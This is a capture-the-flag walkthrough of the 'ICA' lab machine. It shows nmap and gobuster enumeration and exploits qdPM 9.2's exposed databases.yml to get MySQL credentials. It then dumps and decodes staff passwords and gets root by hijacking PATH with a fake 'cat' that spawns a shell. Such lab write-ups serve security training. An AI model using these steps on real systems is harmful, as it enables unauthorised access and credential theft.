CTF : ICA
Informations
- IP: 192.168.0.163
- MYIP: 192.168.0.36
First enumeration
Basics
- NMAP
console$ sudo nmap -p- -A 192.168.0.163 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-02 22:17 CET Nmap scan report for 192.168.0.163 Host is up (0.00017s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 0e:77:d9:cb:f8:05:41:b9:e4:45:71:c1:01:ac:da:93 (RSA) | 256 40:51:93:4b:f8:37:85:fd:a5:f4:d7:27:41:6c:a0:a5 (ECDSA) |_ 256 09:85:60:c5:35:c1:4d:83:76:93:fb:c7:f0:cd:7b:8e (ED25519) 80/tcp open http Apache httpd 2.4.48 ((Debian)) |_http-title: qdPM | Login |_http-server-header: Apache/2.4.48 (Debian) 3306/tcp open mysql MySQL 8.0.26 | mysql-info: | Protocol: 10 | Version: 8.0.26 | Thread ID: 40 | Capabilities flags: 65535 | Some Capabilities: Support41Auth, ConnectWithDatabase, Speaks41ProtocolNew, LongColumnFlag, SupportsCompression, SwitchToSSLAfterHandshake, IgnoreSpaceBeforeParenthesis, SupportsTransactions, SupportsLoadDataLocal, InteractiveClient, ODBCClient, Speaks41ProtocolOld, FoundRows, IgnoreSigpipes, LongPassword, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins | Status: Autocommit | Salt: ?\x1E:\x0F lf\x01R\x05|r\x07\x1Bq\x04j?rK |_ Auth Plugin Name: caching_sha2_password | ssl-cert: Subject: commonName=MySQL_Server_8.0.26_Auto_Generated_Server_Certificate | Not valid before: 2021-09-25T10:47:29 |_Not valid after: 2031-09-23T10:47:29 |_ssl-date: TLS randomness does not represent time 33060/tcp open mysqlx? | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: | Invalid message" | HY000 | LDAPBindReq: | *Parse error unserializing protobuf message" | HY000 | oracle-tns: | Invalid message-frame." |_ HY000 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port33060-TCP:V=7.92%I=7%D=3/2%Time=621FDEDC%P=x86_64-pc-linux-gnu%r(NU SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\ SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")% SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\ SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie, SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0 SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\ SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9, SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00 SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9 SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08 SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x SF:05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\x SF:08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20mes SF:sage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAND SF:esk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0 SF:\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC SF:,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0 SF:fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1 SF:a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\ SF:x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\ SF:x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1 SF:a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\ SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000"); MAC Address: 08:00:27:54:CC:C5 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.17 ms 192.168.0.163 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.35 seconds
First I use gobuster to find anything that would be interresting.
console$ gobuster dir -r -f -w /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt -u http://192.168.0.163 -x cgi,html,txt,js,php,php.bak,bak,zip,sql,sql.bak,tgz,tar.gz,bkp,tar,rar,id_rsa,log,xml,json,sh,py,pl,rb,csv,pub -b 400,404 2>/dev/null =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.0.163 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt [+] Negative Status codes: 400,404 [+] User Agent: gobuster/3.1.0 [+] Extensions: cgi,id_rsa,rb,csv,pub,zip,sql,tgz,bkp,log,xml,pl,html,php,bak,sql.bak,tar.gz,json,sh,txt,js,php.bak,tar,rar,py [+] Add Slash: true [+] Follow Redirect: true [+] Timeout: 10s =============================================================== 2022/03/02 22:19:47 Starting gobuster in directory enumeration mode =============================================================== /images/ (Status: 200) [Size: 2368] /index.php (Status: 200) [Size: 5664] /icons/ (Status: 403) [Size: 278] /uploads/ (Status: 200) [Size: 1140] /css/ (Status: 200) [Size: 1308] /template/ (Status: 200) [Size: 1706] /core/ (Status: 200) [Size: 3055] /install/ (Status: 200) [Size: 1815] /manual/ (Status: 200) [Size: 676] /js/ (Status: 200) [Size: 1958] /javascript/ (Status: 403) [Size: 278] /check.php (Status: 200) [Size: 0] /sf/ (Status: 200) [Size: 1142] /readme.txt (Status: 200) [Size: 470] /robots.txt (Status: 200) [Size: 26] /backups/ (Status: 200) [Size: 744] /batch/ (Status: 200) [Size: 943] /server-status/ (Status: 403) [Size: 278]
In the same time the index page show us a login screen of qdpm
http://192.168.0.163 => qdPM 9.2
Vulnerabilities search
qdpm should be vulnerable, so I check with searchsploit.
console$ searchsploit qdpm 9.2 ------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------- --------------------------------- qdPM 9.2 - Password Exposure (Unauthenticated) | php/webapps/50176.txt ------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
consolesearchsploit -m php/webapps/50176.txt Exploit: qdPM 9.2 - Password Exposure (Unauthenticated) URL: https://www.exploit-db.com/exploits/50176 Path: /usr/share/exploitdb/exploits/php/webapps/50176.txt File Type: ASCII text Copied to: /home/boula/CTF/ICA/50176.txt
And, visibly, we could get a password. :)
console$ cat 50176.txt # Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated) # Date: 03/08/2021 # Exploit Author: Leon Trappett (thepcn3rd) # Vendor Homepage: https://qdpm.net/ # Software Link: https://sourceforge.net/projects/qdpm/files/latest/download # Version: 9.2 # Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4 The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
Version 9.2 let's anyone access the config file.
console$ curl http://192.168.0.163/core/config/databases.yml all: doctrine: class: sfDoctrineDatabase param: dsn: 'mysql:dbname=qdpm;host=localhost' profiler: false username: qdpmadmin password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>" attributes: quote_identifier: true
Here it is. And hopefully mysql port is available :)
console$ mysql -h 192.168.0.163 -u qdpmadmin -p UcVQCMQk2STVeS6J Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 77 Server version: 8.0.26 MySQL Community Server - GPL Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
consolemysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | qdpm | | staff | | sys | +--------------------+ 6 rows in set (0.02 sec)
consolemysql> select * from configuration; +----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+ | id | key | value | +----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+ | 1 | app_administrator_email | admin@localhost.com | | 2 | app_administrator_password | $P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0
Ok so we have a mail and a password for qdpm
Let's try another database :
consolemysql> use staff; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +-----------------+ | Tables_in_staff | +-----------------+ | department | | login | | user | +-----------------+ 3 rows in set (0.00 sec)
consolemysql> select * from user; +------+---------------+--------+---------------------------+ | id | department_id | name | role | +------+---------------+--------+---------------------------+ | 1 | 1 | Smith | Cyber Security Specialist | | 2 | 2 | Lucas | Computer Engineer | | 3 | 1 | Travis | Intelligence Specialist | | 4 | 1 | Dexter | Cyber Security Analyst | | 5 | 2 | Meyer | Genetic Engineer | +------+---------------+--------+---------------------------+ 5 rows in set (0.00 sec) mysql> select * login -> ; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login' at line 1 mysql> select * from login; +------+---------+--------------------------+ | id | user_id | password | +------+---------+--------------------------+ | 1 | 2 | c3VSSkFkR3dMcDhkeTNyRg== | | 2 | 4 | N1p3VjRxdGc0MmNtVVhHWA== | | 3 | 1 | WDdNUWtQM1cyOWZld0hkQw== | | 4 | 3 | REpjZVZ5OThXMjhZN3dMZw== | | 5 | 5 | Y3FObkJXQ0J5UzJEdUpTeQ== | +------+---------+--------------------------+ 5 rows in set (0.01 sec) mysql>
So we have some new pass:
- smith:WDdNUWtQM1cyOWZld0hkQw==
- lucas:c3VSSkFkR3dMcDhkeTNyRg==
- travis:REpjZVZ5OThXMjhZN3dMZw==
- dexter:N1p3VjRxdGc0MmNtVVhHWA==
- meyer:Y3FObkJXQ0J5UzJEdUpTeQ==
It seems to be base64 encoded...so :
console$ echo -ne 'WDdNUWtQM1cyOWZld0hkQw==' | base64 -d - [...]
- smith:X7MQkP3W29fewHdC
- lucas:suRJAdGwLp8dy3rF
- travis:DJceVy98W28Y7wLg
- dexter:7ZwV4qtg42cmUXGX
- meyer:cqNnBWCByS2DuJSy
I tried those creds against ssh and two of them works : travis and dexter
So we got a shell :)
Exploit
console$ ssh travis@192.168.0.163 $ ssh dexter@192.168.0.163
consoletravis@debian:~$ cat user.txt ICA{Secret_Project}
Privilege escalation
Enumeration for privesc
consoletravis@debian:~$ id uid=1002(travis) gid=1002(travis) groups=1002(travis),33(www-data)
consoledexter@debian:~$ id uid=1001(dexter) gid=1001(dexter) groups=1001(dexter)
None of them can do stuff with sudo. So I decided to search binaries with suid.
consoletravis@debian:~$ find / -perm -4000 2>/dev/null /opt/get_access /usr/bin/chfn /usr/bin/umount /usr/bin/gpasswd /usr/bin/sudo /usr/bin/passwd /usr/bin/newgrp /usr/bin/su /usr/bin/mount /usr/bin/chsh /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Clearly, /opt/get_access is not a common setuid binary. So, I give it a try.
consoletravis@debian:~$ ls -al /opt/get_access -rwsr-xr-x 1 root root 16816 Sep 25 09:25 /opt/get_access travis@debian:~$ file /opt/get_access /opt/get_access: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=74c7b8e5b3380d2b5f65d753cc2586736299f21a, for GNU/Linux 3.2.0, not stripped
Alright, /opt/get_access got a setuid bit. So we might use it to privesc.
consoletravis@debian:~$ strings /opt/get_access [...] cat /root/system.info [...]
Ok, cat is called without an absolute path. Let's try to use it !
Exploit
First, we have to modify PATH env variable and put "." at the begining of it.
consoletravis@debian:~$ export PATH=.:$PATH travis@debian:~$ echo $PATH .:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Then we gonna create a fake cat binary that actually launch a shell.
consoletravis@debian:~$ echo "/bin/sh -i" > cat travis@debian:~$ chmod +x cat
And now we run /opt/get_access
console# whoami root # cd /root/ # cat root.txt ICA{Next_Generation_Self_Renewable_Genetics}
\o/